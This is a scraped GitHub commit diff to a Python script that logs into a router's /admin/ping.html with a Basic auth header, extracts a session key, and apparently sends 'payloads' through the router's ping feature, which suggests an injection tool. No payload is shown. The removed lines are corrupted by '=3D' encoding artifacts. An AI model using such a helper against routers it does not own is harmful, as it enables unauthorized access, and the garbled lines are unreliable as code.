File tree 1 file changed +7
-10
lines changed
1 file changed +7
-10
lines changed Original file line number Diff line number Diff line change @@ -22,15 +22,12 @@ def main():
22
22
23
23
24
24
def get_session ():
25
- url = 3 D router_host + "/admin/ping.html"
26
- headers = 3 D {"Authorization" : "Basic {}" .format (authorization_header )}
27
- r = 3 D requests .get (url , headers = 3 Dheaders ).text
28
- i = 3 D r .find ("&sessionKey=3D" ) + len ("&sessionKey=3D" )
29
- s = 3 D ""
30
- while r [i ] != 3 D "'" :
31
- s = 3 D s + r [i ]
32
- i = 3 D i + 1
33
- return s
25
+ url = f"{ config ['router_host' ]} /admin/ping.html"
26
+ headers = {"Authorization" : config ['authorization_header' ]}
27
+ response = requests .get (url , headers = headers )
28
+ session_key = response .text .split ("&sessionKey=" )[1 ].split ("'" )[0 ]
29
+ return session_key
30
+
34
31
35
32
36
33
def send_payload (payload ):
@@ -42,4 +39,4 @@ def send_payload(payload):
42
39
requests .get (url , headers = 3 Dheaders , params = 3 Dparams ).text
43
40
44
41
45
- main ()
42
+ main ()
You can’t perform that action at this time.
0 commit comments